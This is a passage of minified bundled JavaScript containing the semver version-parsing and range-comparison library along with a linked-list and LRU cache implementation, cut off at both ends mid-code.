Ao(n,i)}while(++t)}inc(e,t){switch(e){case"premajor":this.prerelease.length=0,this.patch=0,this.minor=0,this.major++,this.inc("pre",t);break;case"preminor":this.prerelease.length=0,this.patch=0,this.minor++,this.inc("pre",t);break;case"prepatch":this.prerelease.length=0,this.inc("patch",t),this.inc("pre",t);break;case"prerelease":this.prerelease.length===0&&this.inc("patch",t),this.inc("pre",t);break;case"major":(this.minor!==0||this.patch!==0||this.prerelease.length===0)&&this.major++,this.minor=0,this.patch=0,this.prerelease=[];break;case"minor":(this.patch!==0||this.prerelease.length===0)&&this.minor++,this.patch=0,this.prerelease=[];break;case"patch":this.prerelease.length===0&&this.patch++,this.prerelease=[];break;case"pre":if(this.prerelease.length===0)this.prerelease=[0];else{let n=this.prerelease.length;for(;--n>=0;)typeof this.prerelease[n]=="number"&&(this.prerelease[n]++,n=-2);n===-1&&this.prerelease.push(0)}t&&(this.prerelease[0]===t?isNaN(this.prerelease[1])&&(this.prerelease=[t,0]):this.prerelease=[t,0]);break;default:throw new Error(`invalid increment argument: ${e}`)}return this.format(),this.raw=this.version,this}};Sf.exports=_r});var Jn=F((Y0,Ef)=>{var{MAX_LENGTH:YR}=ko(),{re:Tf,t:Pf}=Qn(),Df=It(),XR=Oo(),QR=(r,e)=>{if(e=XR(e),r instanceof Df)return r;if(typeof r!="string"||r.length>YR||!(e.loose?Tf[Pf.LOOSE]:Tf[Pf.FULL]).test(r))return null;try{return new Df(r,e)}catch{return null}};Ef.exports=QR});var kf=F((X0,xf)=>{var JR=Jn(),ZR=(r,e)=>{let t=JR(r,e);return t?t.version:null};xf.exports=ZR});var Of=F((Q0,qf)=>{var e_=Jn(),t_=(r,e)=>{let t=e_(r.trim().replace(/^[=v]+/,""),e);return t?t.version:null};qf.exports=t_});var Ff=F((J0,Af)=>{var r_=It(),n_=(r,e,t,n)=>{typeof t=="string"&&(n=t,t=void 0);try{return new r_(r,t).inc(e,n).version}catch{return null}};Af.exports=n_});var Sr=F((Z0,Lf)=>{var If=It(),i_=(r,e,t)=>new If(r,t).compare(new If(e,t));Lf.exports=i_});var la=F((eq,Nf)=>{var o_=Sr(),s_=(r,e,t)=>o_(r,e,t)===0;Nf.exports=s_});var $f=F((tq,jf)=>{var Mf=Jn(),a_=la(),c_=(r,e)=>{if(a_(r,e))return null;{let t=Mf(r),n=Mf(e),i=t.prerelease.length||n.prerelease.length,s=i?"pre":"",a=i?"prerelease":"";for(let l in t)if((l==="major"||l==="minor"||l==="patch")&&t[l]!==n[l])return s+l;return a}};jf.exports=c_});var Hf=F((rq,Wf)=>{var u_=It(),l_=(r,e)=>new u_(r,e).major;Wf.exports=l_});var Bf=F((nq,zf)=>{var d_=It(),f_=(r,e)=>new d_(r,e).minor;zf.exports=f_});var Kf=F((iq,Uf)=>{var h_=It(),p_=(r,e)=>new h_(r,e).patch;Uf.exports=p_});var Vf=F((oq,Gf)=>{var g_=Jn(),m_=(r,e)=>{let t=g_(r,e);return t&&t.prerelease.length?t.prerelease:null};Gf.exports=m_});var Xf=F((sq,Yf)=>{var v_=Sr(),y_=(r,e,t)=>v_(e,r,t);Yf.exports=y_});var Jf=F((aq,Qf)=>{var b_=Sr(),w_=(r,e)=>b_(r,e,!0);Qf.exports=w_});var da=F((cq,eh)=>{var Zf=It(),C_=(r,e,t)=>{let n=new Zf(r,t),i=new Zf(e,t);return n.compare(i)||n.compareBuild(i)};eh.exports=C_});var rh=F((uq,th)=>{var R_=da(),__=(r,e)=>r.sort((t,n)=>R_(t,n,e));th.exports=__});var ih=F((lq,nh)=>{var S_=da(),T_=(r,e)=>r.sort((t,n)=>S_(n,t,e));nh.exports=T_});var Fo=F((dq,oh)=>{var P_=Sr(),D_=(r,e,t)=>P_(r,e,t)>0;oh.exports=D_});var fa=F((fq,sh)=>{var E_=Sr(),x_=(r,e,t)=>E_(r,e,t)<0;sh.exports=x_});var Qc=F((hq,ah)=>{var k_=Sr(),q_=(r,e,t)=>k_(r,e,t)!==0;ah.exports=q_});var ha=F((pq,ch)=>{var O_=Sr(),A_=(r,e,t)=>O_(r,e,t)>=0;ch.exports=A_});var pa=F((gq,uh)=>{var F_=Sr(),I_=(r,e,t)=>F_(r,e,t)<=0;uh.exports=I_});var Jc=F((mq,lh)=>{var L_=la(),N_=Qc(),M_=Fo(),j_=ha(),$_=fa(),W_=pa(),H_=(r,e,t,n)=>{switch(e){case"===":return typeof r=="object"&&(r=r.version),typeof t=="object"&&(t=t.version),r===t;case"!==":return typeof r=="object"&&(r=r.version),typeof t=="object"&&(t=t.version),r!==t;case"":case"=":case"==":return L_(r,t,n);case"!=":return N_(r,t,n);case">":return M_(r,t,n);case">=":return j_(r,t,n);case"<":return $_(r,t,n);case"<=":return W_(r,t,n);default:throw new TypeError(`Invalid operator: ${e}`)}};lh.exports=H_});var fh=F((vq,dh)=>{var z_=It(),B_=Jn(),{re:ga,t:ma}=Qn(),U_=(r,e)=>{if(r instanceof z_)return r;if(typeof r=="number"&&(r=String(r)),typeof r!="string")return null;e=e||{};let t=null;if(!e.rtl)t=r.match(ga[ma.COERCE]);else{let n;for(;(n=ga[ma.COERCERTL].exec(r))&&(!t||t.index+t[0].length!==r.length);)(!t||n.index+n[0].length!==t.index+t[0].length)&&(t=n),ga[ma.COERCERTL].lastIndex=n.index+n[1].length+n[2].length;ga[ma.COERCERTL].lastIndex=-1}return t===null?null:B_(`${t[2]}.${t[3]||"0"}.${t[4]||"0"}`,e)};dh.exports=U_});var ph=F((yq,hh)=>{"use strict";hh.exports=function(r){r.prototype[Symbol.iterator]=function*(){for(let e=this.head;e;e=e.next)yield e.value}}});var mh=F((bq,gh)=>{"use strict";gh.exports=De;De.Node=Zn;De.create=De;function De(r){var e=this;if(e instanceof De||(e=new De),e.tail=null,e.head=null,e.length=0,r&&typeof r.forEach=="function")r.forEach(function(i){e.push(i)});else if(arguments.length>0)for(var t=0,n=arguments.length;t<n;t++)e.push(arguments[t]);return e}De.prototype.removeNode=function(r){if(r.list!==this)throw new Error("removing node which does not belong to this list");var e=r.next,t=r.prev;return e&&(e.prev=t),t&&(t.next=e),r===this.head&&(this.head=e),r===this.tail&&(this.tail=t),r.list.length--,r.next=null,r.prev=null,r.list=null,e};De.prototype.unshiftNode=function(r){if(r!==this.head){r.list&&r.list.removeNode(r);var e=this.head;r.list=this,r.next=e,e&&(e.prev=r),this.head=r,this.tail||(this.tail=r),this.length++}};De.prototype.pushNode=function(r){if(r!==this.tail){r.list&&r.list.removeNode(r);var e=this.tail;r.list=this,r.prev=e,e&&(e.next=r),this.tail=r,this.head||(this.head=r),this.length++}};De.prototype.push=function(){for(var r=0,e=arguments.length;r<e;r++)G_(this,arguments[r]);return this.length};De.prototype.unshift=function(){for(var r=0,e=arguments.length;r<e;r++)V_(this,arguments[r]);return this.length};De.prototype.pop=function(){if(!!this.tail){var r=this.tail.value;return this.tail=this.tail.prev,this.tail?this.tail.next=null:this.head=null,this.length--,r}};De.prototype.shift=function(){if(!!this.head){var r=this.head.value;return this.head=this.head.next,this.head?this.head.prev=null:this.tail=null,this.length--,r}};De.prototype.forEach=function(r,e){e=e||this;for(var t=this.head,n=0;t!==null;n++)r.call(e,t.value,n,this),t=t.next};De.prototype.forEachReverse=function(r,e){e=e||this;for(var t=this.tail,n=this.length-1;t!==null;n--)r.call(e,t.value,n,this),t=t.prev};De.prototype.get=function(r){for(var e=0,t=this.head;t!==null&&e<r;e++)t=t.next;if(e===r&&t!==null)return t.value};De.prototype.getReverse=function(r){for(var e=0,t=this.tail;t!==null&&e<r;e++)t=t.prev;if(e===r&&t!==null)return t.value};De.prototype.map=function(r,e){e=e||this;for(var t=new De,n=this.head;n!==null;)t.push(r.call(e,n.value,this)),n=n.next;return t};De.prototype.mapReverse=function(r,e){e=e||this;for(var t=new De,n=this.tail;n!==null;)t.push(r.call(e,n.value,this)),n=n.prev;return t};De.prototype.reduce=function(r,e){var t,n=this.head;if(arguments.length>1)t=e;else if(this.head)n=this.head.next,t=this.head.value;else throw new TypeError("Reduce of empty list with no initial value");for(var i=0;n!==null;i++)t=r(t,n.value,i),n=n.next;return t};De.prototype.reduceReverse=function(r,e){var t,n=this.tail;if(arguments.length>1)t=e;else if(this.tail)n=this.tail.prev,t=this.tail.value;else throw new TypeError("Reduce of empty list with no initial value");for(var i=this.length-1;n!==null;i--)t=r(t,n.value,i),n=n.prev;return t};De.prototype.toArray=function(){for(var r=new Array(this.length),e=0,t=this.head;t!==null;e++)r[e]=t.value,t=t.next;return r};De.prototype.toArrayReverse=function(){for(var r=new Array(this.length),e=0,t=this.tail;t!==null;e++)r[e]=t.value,t=t.prev;return r};De.prototype.slice=function(r,e){e=e||this.length,e<0&&(e+=this.length),r=r||0,r<0&&(r+=this.length);var t=new De;if(e<r||e<0)return t;r<0&&(r=0),e>this.length&&(e=this.length);for(var n=0,i=this.head;i!==null&&n<r;n++)i=i.next;for(;i!==null&&n<e;n++,i=i.next)t.push(i.value);return t};De.prototype.sliceReverse=function(r,e){e=e||this.length,e<0&&(e+=this.length),r=r||0,r<0&&(r+=this.length);var t=new De;if(e<r||e<0)return t;r<0&&(r=0),e>this.length&&(e=this.length);for(var n=this.length,i=this.tail;i!==null&&n>e;n--)i=i.prev;for(;i!==null&&n>r;n--,i=i.prev)t.push(i.value);return t};De.prototype.splice=function(r,e,...t){r>this.length&&(r=this.length-1),r<0&&(r=this.length+r);for(var n=0,i=this.head;i!==null&&n<r;n++)i=i.next;for(var s=[],n=0;i&&n<e;n++)s.push(i.value),i=this.removeNode(i);i===null&&(i=this.tail),i!==this.head&&i!==this.tail&&(i=i.prev);for(var n=0;n<t.length;n++)i=K_(this,i,t[n]);return s};De.prototype.reverse=function(){for(var r=this.head,e=this.tail,t=r;t!==null;t=t.prev){var n=t.prev;t.prev=t.next,t.next=n}return this.head=e,this.tail=r,this};function K_(r,e,t){var n=e===r.head?new Zn(t,null,e,r):new Zn(t,e,e.next,r);return n.next===null&&(r.tail=n),n.prev===null&&(r.head=n),r.length++,n}function G_(r,e){r.tail=new Zn(e,r.tail,null,r),r.head||(r.head=r.tail),r.length++}function V_(r,e){r.head=new Zn(e,null,r.head,r),r.tail||(r.tail=r.head),r.length++}function Zn(r,e,t,n){if(!(this instanceof Zn))return new Zn(r,e,t,n);this.list=n,this.value=r,e?(e.next=this,this.prev=e):this.prev=null,t?(t.prev=this,this.next=t):this.next=null}try{ph()(De)}catch{}});var _h=F((wq,Rh)=>{"use strict";var Y_=mh(),ei=Symbol("max"),mn=Symbol("length"),Ai=Symbol("lengthCalculator"),Io=Symbol("allowStale"),ti=Symbol("maxAge"),vn=Symbol("dispose"),vh=Symbol("noDisposeOnSet"),yt=Symbol("lruList"),jr=Symbol("cache"),yh=Symbol("updateAgeOnGet"),Zc=()=>1,bh=class{constructor(e){if(typeof e=="number"&&(e={max:e}),e||(e={}),e.max&&(typeof e.max!="number"||e.max<0))throw new TypeError("max must be a non-negative number");let t=this[ei]=e.max||1/0,n=e.length||Zc;if(this[Ai]=typeof n!="function"?Zc:n,this[Io]=e.stale||!1,e.maxAge&&typeof e.maxAge!="number")throw new TypeError("maxAge must be a number");this[ti]=e.maxAge||0,this[vn]=e.dispose,this[vh]=e.noDisposeOnSet||!1,this[yh]=e.updateAgeOnGet||!1,this.reset()}set max(e){if(typeof e!="number"||e<0)throw new TypeError("max must be a non-negative number");this[ei]=e||1/0,Lo(this)}get max(){return this[ei]}set allowStale(e){this[Io]=!!e}get allowStale(){return this[Io]}set maxAge(e){if(typeof e!="number")throw new TypeError("maxAge must be a non-negative number");this[ti]=e,Lo(this)}get maxAge(){return this[ti]}set lengthCalculator(e){typeof e!="function"&&(e=Zc),e!==this[Ai]&&(this[Ai]=e,this[mn]=0,this[yt].forEach(t=>{t.length=this[Ai](t.value,t.key),this[mn]+=t.length})),Lo(this)}get lengthCalculator(){return this[Ai]}get length(){return this[mn]}get itemCount(){return this[yt].length}rforEach(e,t){t=t||this;for(let n=this[yt].tail;n!==null;){let i=n.prev;Ch(this,e,n,t),n=i}}forEach(e,t){t=t||this;for(let n=this[yt].head;n!==null;){let i=n.next;Ch(this,e,n,t),n=i}}keys(){return this[yt].toArray().map(e=>e.key)}values(){return this[yt].toArray().map(e=>e.value)}reset(){this[vn]&&this[yt]&&this[yt].length&&this[yt].forEach(e=>this[vn](e.key,e.value)),this[jr]=new Map,this[yt]=new Y_,this[mn]=0}dump(){return this[yt].map(e=>va(this,e)?!1:{k:e.key,v:e.value,e:e.now+(e.maxAge||0)}).toArray().filter(e=>e)}dumpLru(){return this[yt]}set(e,t,n){if(n=n||this[ti],n&&typeof n!="number")throw new TypeError("maxAge must be a number");let i=n?Date.now():0,s=this[Ai](t,e);if(this[jr].has(e)){if(s>this[ei])return Fi(this,this[jr].get(e)),!1;let u=this[jr].get(e).value;return this[vn]&&(this[vh]||this[vn](e,u.value)),u.now=i,u.maxAge=n,u.value=t,this[mn]+=s-u.length,u.length=s,this.get(e),Lo(this),!0}let a=new wh(e,t,s,i,n);return a.length>this[ei]?(this[vn]&&this[vn](e,t),!1):(this[mn]+=a.length,this[yt].unshift(a),this[jr].set(e,this[yt].head),Lo(this),!0)}has(e){if(!this[jr].has(e))return!1;let t=this[jr].get(e).value;return!va(this,t)}get(e){return eu(this,e,!0)}peek(e){return eu(this,e,!1)}pop(){let e=this[yt].tail;return e?(Fi(this,e),e.value):null}del(e){Fi(this,this[jr].get(e))}load(e){this.reset();let t=Date.now();for(let n=e.length-1;n>=0;n--){let i=e[n],s=i.e||0;if(s===0)this.set(i.k,i.v);else{let a=s-t;a>0&&this.set(i.k,i.v,a)}}}prune(){this[jr].forEach((e,t)=>eu(this,t,!1))}},eu=(r,e,t)=>{let n=r[jr].get(e);if(n){let i=n.value;if(va(r,i)){if(Fi(r,n),!r[Io])return}else t&&(r[yh]&&(n.value.now=Date.now()),r[yt].unshiftNode(n));return i.value}},va=(r,e)=>{if(!e||!e.maxAge&&!r[ti])return!1;let t=Date.now()-e.now;return e.maxAge?t>e.maxAge:r[ti]&&t>r[ti]},Lo=r=>{if(r[mn]>r[ei])for(let e=r[yt].tail;r[mn]>r[ei]&&e!==null;){let t=e.prev;Fi(r,e),e=t}},Fi=(r,e)=>{if(e){let t=e.value;r[vn]&&r[vn](t.key,t.value),r[mn]-=t.length,r[jr].delete(t.key),r[yt].removeNode(e)}},wh=class{constructor(e,t,n,i,s){this.key=e,this.value=t,this.length=n,this.now=i,this.maxAge=s||0}},Ch=(r,e,t,n)=>{let i=t.value;va(r,i)&&(Fi(r,t),r[Io]||(i=void 0)),i&&e.call(n,i.value,i.key,r)};Rh.exports=bh});var Tr=F((Cq,Dh)=>{var Ii=class{constructor(e,t){if(t=Q_(t),e instanceof Ii)return e.loose===!!t.loose&&e.includePrerelease===!!t.includePrerelease?e:new Ii(e.raw,t);if(e instanceof tu)return this.raw=e.value,this.set=[[e]],this.format(),this;if(this.options=t,this.loose=!!t.loose,this.includePrerelease=!!t.includePrerelease,this.raw=e,this.set=e.split(/\s*\|\|\s*/).map(n=>this.parseRange(n.trim())).filter(n=>n.length),!this.set.length)throw new TypeError(`Invalid SemVer Range: ${e}`);if(this.set.length>1){let n=this.set[0];if(this.set=this.set.filter(i=>!Th(i[0])),this.set.length===0)this.set=[n];else if(this.set.length>1){for(let i of this.set)if(i.length===1&&rS(i[0])){this.set=[i];break}}}this.format()}format(){return this.range=this.set.map(e=>e.join(" ").trim()).join("||").trim(),this.range}toString(){return this.range}parseRange(e){e=e.trim();let n=`parseRange:${Object.keys(this.options).join(",")}:${e}`,i=Sh.get(n);if(i)return i;let s=this.options.loose,a=s?Lt[Et.HYPHENRANGELOOSE]:Lt[Et.HYPHENRANGE];e=e.replace(a,fS(this.options.includePrerelease)),et("hyphen replace",e),e=e.replace(Lt[Et.COMPARATORTRIM],Z_),et("comparator trim",e,Lt[Et.COMPARATORTRIM]),e=e.replace(Lt[Et.TILDETRIM],eS),e=e.replace(Lt[Et.CARETTRIM],tS),e=e.split(/\s+/).join(" ");let l=s?Lt[Et.COMPARATORLOOSE]:Lt[Et.COMPARATOR],u=e.split(" ").map(C=>nS(C,this.options)).join(" ").split(/\s+/).map(C=>dS(C,this.options)).filter(this.options.loose?C=>!!C.match(l):()=>!0).map(C=>new tu(C,this.options)),g=u.length,v=new Map;for(let C of u){if(Th(C))return[C];v.set(C.value,C)}v.size>1&&v.has("")&&v.delete("");let b=[...v.values()];return Sh.set(n,b),b}intersects(e,t){if(!(e instanceof Ii))throw new TypeError("a Range is required");return this.set.some(n=>Ph(n,t)&&e.set.some(i=>Ph(i,t)&&n.every(s=>i.every(a=>s.intersects(a,t)))))}test(e){if(!e)return!1;if(typeof e=="string")try{e=new J_(e,this.options)}catch{return!1}for(let t=0;t<this.set.length;t++)if(hS(this.set[t],e,this.options))return!0;return!1}};Dh.exports=Ii;var X_=_h(),Sh=new X_({max:1e3}),Q_=Oo(),tu=No(),et=qo(),J_=It(),{re:Lt,t:Et,comparatorTrimReplace:Z_,tildeTrimReplace:eS,caretTrimReplace:tS}=Qn(),Th=r=>r.value==="<0.0.0-0",rS=r=>r.value==="",Ph=(r,e)=>{let t=!0,n=r.slice(),i=n.pop();for(;t&&n.length;)t=n.every(s=>i.intersects(s,e)),i=n.pop();return t},nS=(r,e)=>(et("comp",r,e),r=sS(r,e),et("caret",r),r=iS(r,e),et("tildes",r),r=cS(r,e),et("xrange",r),r=lS(r,e),et("stars",r),r),Vt=r=>!r||r.toLowerCase()==="x"||r==="*",iS=(r,e)=>r.trim().split(/\s+/).map(t=>oS(t,e)).join(" "),oS=(r,e)=>{let t=e.loose?Lt[Et.TILDELOOSE]:Lt[Et.TILDE];return r.replace(t,(n,i,s,a,l)=>{et("tilde",r,n,i,s,a,l);let u;return Vt(i)?u="":Vt(s)?u=`>=${i}.0.0 <${+i+1}.0.0-0`:Vt(a)?u=`>=${i}.${s}.0 <${i}.${+s+1}.0-0`:l?(et("replaceTilde pr",l),u=`>=${i}.${s}.${a}-${l} <${i}.${+s+1}.0-0`):u=`>=${i}.${s}.${a} <${i}.${+s+1}.0-0`,et("tilde return",u),u})},sS=(r,e)=>r.trim().split(/\s+/).map(t=>aS(t,e)).join(" "),aS=(r,e)=>{et("caret",r,e);let t=e.loose?Lt[Et.CARETLOOSE]:Lt[Et.CARET],n=e.includePrerelease?"-0":"";return r.replace(t,(i,s,a,l,u)=>{et("caret",r,i,s,a,l,u);let g;return Vt(s)?g="":Vt(a)?g=`>=${s}.0.0${n} <${+s+1}.0.0-0`:Vt(l)?s==="0"?g=`>=${s}.${a}.0${n} <${s}.${+a+1}.0-0`:g=`>=${s}.${a}.0${n} <${+s+1}.0.0-0`:u?(et("replaceCaret pr",u),s==="0"?a==="0"?g=`>=${s}.${a}.${l}-${u} <${s}.${a}.${+l+1}-0`:g=`>=${s}.${a}.${l}-${u} <${s}.${+a+1}.0-0`:g=`>=${s}.${a}.${l}-${u} <${+s+1}.0.0-0`):(et("no pr"),s==="0"?a==="0"?g=`>=${s}.${a}.${l}${n} <${s}.${a}.${+l+1}-0`:g=`>=${s}.${a}.${l}${n} <${s}.${+a+1}.0-0`:g=`>=${s}.${a}.${l} <${+s+1}.0.0-0`),et("caret return",g),g})},cS=(r,e)=>(et("replaceXRanges",r,e),r.split(/\s+/).map(t=>uS(t,e)).join(" ")),uS=(r,e)=>{r=r.trim();let t=e.loose?Lt[Et.XRANGELOOSE]:Lt[Et.XRANGE];return r.replace(t,(n,i,s,a,l,u)=>{et("xRange",r,n,i,s,a,l,u);let g=Vt(s),v=g||Vt(a),b=v||Vt(l),C=b;return i==="="&&C&&(i=""),u=e.includePrerelease?"-0":"",g?i===">"||i==="<"?n="<0.0.0-0":n="*":i&&C?(v&&(a=0),l=0,i===">"?(i=">=",v?(s=+s+1,a=0,l=0):(a=+a+1,l=0)):i==="<="&&(i="<",v?s=+s+1:a=+a+1),i==="<"&&(u="-0"),n=`${i+s}.${a}.${l}${u}`):v?n=`>=${s}.0.0${u} <${+s+1}.0.0-0`:b&&(n=`>=${s}.${a}.0${u} <${s}.${+a+1}.0-0`),et("xRange return",n),n})},lS=(r,e)=>(et("replaceStars",r,e),r.trim().replace(Lt[Et.STAR],"")),dS=(r,e)=>(et("replaceGTE0",r,e),r.trim().replace(Lt[e.includePrerelease?Et.GTE0PRE:Et.GTE0],"")),fS=r=>(e,t,n,i,s,a,l,u,g,v,b,C,w)=>(Vt(n)?t="":Vt(i)?t=`>=${n}.0.0${r?"-0":""}`:Vt(s)?t=`>=${n}.${i}.0${r?"-0":""}`:a?t=`>=${t}`:t=`>=${t}${r?"-0":""}`,Vt(g)?u="":Vt(v)?u=`<${+g+1}.0.0-0`:Vt(b)?u=`<${g}.${+v+1}.0-0`:C?u=`<=${g}.${v}.${b}-${C}`:r?u=`<${g}.${v}.${+b+1}-0`:u=`<=${u}`,`${t} ${u}`.trim()),hS=(r,e,t)=>{for(let n=0;n<r.length;n++)if(!r[n].test(e))return!1;if(e.prerelease.length&&!t.includePrerelease){for(let n=0;n<r.length;n++)if(et(r[n].semver),r[n].semver!==tu.ANY&&r[n].semver.prerelease.length>0){let i=r[n].semver;if(i.major===e.major&&i.minor===e.minor&&i.patch===e.patch)return!0}return!1}return!0}});var No=F((Rq,Oh)=>{var Mo=Symbol("SemVer ANY"),jo=class{static get ANY(){return Mo}constructor(e,t){if(t=pS(t),e instanceof jo){if(e.loose===!!t.loose)return e;e=e.value}nu("comparator",e,t),this.options=t,this.loose=!!t.loose,this.parse(e),this.semver===Mo?this.value="":this.value=this.operator+this.semver.version,nu("comp",this)}parse(e){let t=this.options.loose?Eh[xh.COMPARATORLOOSE]:Eh[xh.COMPARATOR],n=e.match(t);if(!n)throw new TypeError(`Invalid comparator: ${e}`);this.operator=n[1]!==void 0?n[1]:"",this.operator==="="&&(this.operator=""),n[2]?this.semver=new kh(n[2],this.options.loose):this.semver=Mo}toString(){return this.value}test(e){if(nu("Comparator.test",e,this.options.loose),this.semver===Mo||e===Mo)return!0;if(typeof e=="string")try{e=new kh(e,this.options)}catch{return!1}return ru(e,this.operator,this.semver,this.options)}intersects(e,t){if(!(e instanceof jo))throw new TypeError("a Comparator is required");if((!t||typeof t!="object")&&(t={loose:!!t,includePrerelease:!1}),this.operator==="")return this.value===""?!0:new qh(e.value,t).test(this.value);if(e.operator==="")return e.value===""?!0:new qh(this.value,t).test(e.semver);let n=(this.operator===">="||this.operator===">")&&(e.operator===">="||e.operator===">"),i=(this.operator==="<="||this.operator==="<")&&(e.operator==="<="||e.operator==="<"),s=this.semver.version===e.semver.version,a=(this.operator===">="||this.operator==="<=")&&(e.operator===">="||e.operator==="<="),l=ru(this.semver,"<",e.semver,t)&&(this.operator===">="||this.operator===">")&&(e.operator==="<="||e.operator==="<"),u=ru(this.semver,">",e.semver,t)&&(this.operator==="<="||this.operator==="<")&&(e.operator===">="||e.operator===">");return n||i||s&&a||l||u}};Oh.exports=jo;var pS=Oo(),{re:Eh,t:xh}=Qn(),ru=Jc(),nu=qo(),kh=It(),qh=Tr()});var $o=F((_q,Ah)=>{var gS=Tr(),mS=(r,e,t)=>{try{e=new gS(e,t)}catch{return!1}return e.test(r)};Ah.exports=mS});var Ih=F((Sq,Fh)=>{var vS=Tr(),yS=(r,e)=>new vS(r,e).set.map(t=>t.map(n=>n.value).join(" ").trim().split(" "));Fh.exports=yS});var Nh=F((Tq,Lh)=>{var bS=It(),wS=Tr(),CS=(r,e,t)=>{let n=null,i=null,s=null;try{s=new wS(e,t)}catch{return null}return r.forEach(a=>{s.test(a)&&(!n||i.compare(a)===-1)&&(n=a,i=new bS(n,t))}),n};Lh.exports=CS});var jh=F((Pq,Mh)=>{var RS=It(),_S=Tr(),SS=(r,e,t)=>{let n=null,i=null,s=null;try{s=new _S(e,t)}catch{return null}return r.forEach(a=>{s.test(a)&&(!n||i.compare(a)===1)&&(n=a,i=new RS(n,t))}),n};Mh.exports=SS});var Hh=F((Dq,Wh)=>{var iu=It(),TS=Tr(),$h=Fo(),PS=(r,e)=>{r=new TS(r,e);let t=new iu("0.0.0");if(r.test(t)||(t=new iu("0.0.0-0"),r.test(t)))return t;t=null;for(let n=0;n<r.set.length;++n){let i=r.set[n],s=null;i.forEach(a=>{let l=new iu(a.semver.version);switch(a.operator){case">":l.prerelease.length===0?l.patch++:l.prerelease.push(0),l.raw=l.format();case"":case">=":(!s||$h(l,s))&&(s=l);break;case"<":case"<=":break;default:throw new Error(`Unexpected operation: ${a.operator}`)}}),s&&(!t||$h(t,s))&&(t=s)}return t&&r.test(t)?t:null};Wh.exports=PS});var Bh=F((Eq,zh)=>{var DS=Tr(),ES=(r,e)=>{try{return new DS(r,e).range||"*"}catch{return null}};zh.exports=ES});var ya=F((xq,Vh)=>{var xS=It(),Uh=No(),{ANY:kS}=Uh,qS=Tr(),OS=$o(),Kh=Fo(),Gh=fa(),AS=pa(),FS=ha(),IS=(r,e,t,n)=>{r=new xS(r,n),e=new qS(e,n);let i,s,a,l,u;switch(t){case">":i=Kh,s=AS,a=Gh,l=">",u=">=";break;case"<":i=Gh,s=FS,a=Kh,l="<",u="<=";break;default:throw new TypeError('Must provide a hilo val of "<" or ">"')}if(OS(r,e,n))return!1;for(let g=0;g<e.set.length;++g){let v=e.set[g],b=null,C=null;if(v.forEach(w=>{w.semver===kS&&(w=new Uh(">=0.0.0")),b=b||w,C=C||w,i(w.semver,b.semver,n)?b=w:a(w.semver,C.semver,n)&&(C=w)}),b.operator===l||b.operator===u||(!C.operator||C.operator===l)&&s(r,C.semver))return!1;if(C.operator===u&&a(r,C.semver))return!1}return!0};Vh.exports=IS});var Xh=F((kq,Yh)=>{var LS=ya(),NS=(r,e,t)=>LS(r,e,">",t);Yh.exports=NS});var Jh=F((qq,Qh)=>{var MS=ya(),jS=(r,e,t)=>MS(r,e,"<",t);Qh.exports=jS});var tp=F((Oq,ep)=>{var Zh=Tr(),$S=(r,e,t)=>(r=new Zh(r,t),e=new Zh(e,t),r.intersects(e));ep.exports=$S});var np=F((Aq,rp)=>{var WS=$o(),HS=Sr();rp.exports=(r,e,t)=>{let n=[],i=null,s=null,a=r.sort((v,b)=>HS(v,b,t));for(let v of a)WS(v,e,t)?(s=v,i||(i=v)):(s&&n.push([i,s]),s=null,i=null);i&&n.push([i,null]);let l=[];for(let[v,b]of n)v===b?l.push(v):!b&&v===a[0]?l.push("*"):b?v===a[0]?l.push(`<=${b}`):l.push(`${v} - ${b}`):l.push(`>=${v}`);let u=l.join(" || "),g=typeof e.raw=="string"?e.raw:String(e);return u.length<g.length?u:e}});var cp=F((Fq,ap)=>{var ip=Tr(),ba=No(),{ANY:ou}=ba,Wo=$o(),su=Sr(),zS=(r,e,t={})=>{if(r===e)return!0;r=new ip(r,t),e=new ip(e,t);let n=!1;e:for(let i of r.set){for(let s of e.set){let a=BS(i,s,t);if(n=n||a!==null,a)continue e}if(n)return!1}return!0},BS=(r,e,t)=>{if(r===e)return!0;if(r.length===1&&r[0].semver===ou){if(e.length===1&&e[0].semver===ou)return!0;t.includePrerelease?r=[new ba(">=0.0.0-0")]:r=[new ba(">=0.0.0")]}if(e.length===1&&e[0].semver===ou){if(t.includePrerelease)return!0;e=[new ba(">=0.0.0")]}let n=new Set,i,s;for(let w of r)w.operator===">"||w.operator===">="?i=op(i,w,t):w.operator==="<"||w.operator==="<="?s=sp(s,w,t):n.add(w.semver);if(n.size>1)return null;let a;if(i&&s){if(a=su(i.semver,s.semver,t),a>0)return null;if(a===0&&(i.operator!==">="||s.operator!=="<="))return null}for(let w of n){if(i&&!Wo(w,String(i),t)||s&&!Wo(w,String(s),t))return null;for(let E of e)if(!Wo(w,String(E),t))return!1;return!0}let l,u,g,v,b=s&&!t.includePrerelease&&s.semver.prerelease.length?s.semver:!1,C=i&&!t.includePrerelease&&i.semver.prerelease.length?i.semver:!1;b&&b.prerelease.length===1&&s.operator==="<"&&b.prerelease[0]===0&&(b=!1);for(let w of e){if(v=v||w.operator===">"||w.operator===">=",g=g||w.operator==="<"||w.operator==="<=",i){if(C&&w.semver.prerelease&&w.semver.prerelease.length&&w.semver.major===C.major&&w.semver.minor===C.minor&&w.semver.patch===C.patch&&(C=!1),w.operator===">"||w.operator===">="){if(l=op(i,w,t),l===w&&l!==i)return!1}else if(i.operator===">="&&!Wo(i.semver,String(w),t))return!1}if(s){if(b&&w.semver.prerelease&&w.semver.prerelease.length&&w.semver.major===b.major&&w.semver.minor===b.minor&&w.semver.patch===b.patch&&(b=!1),w.operator==="<"||w.operator==="<="){if(u=sp(s,w,t),u===w&&u!==s)return!1}else if(s.operator==="<="&&!Wo(s.semver,String(w),t))return!1}if(!w.operator&&(s||i)&&a!==0)return!1}return!(i&&g&&!s&&a!==0||s&&v&&!i&&a!==0||C||b)},op=(r,e,t)=>{if(!r)return e;let n=su(r.semver,e.semver,t);return n>0?r:n<0||e.operator===">"&&r.operator===">="?e:r},sp=(r,e,t)=>{if(!r)return e;let n=su(r.semver,e.semver,t);return n<0?r:n>0||e.operator==="<"&&r.operator==="<="?e:r};ap.exports=zS});var lp=F((Iq,up)=>{var 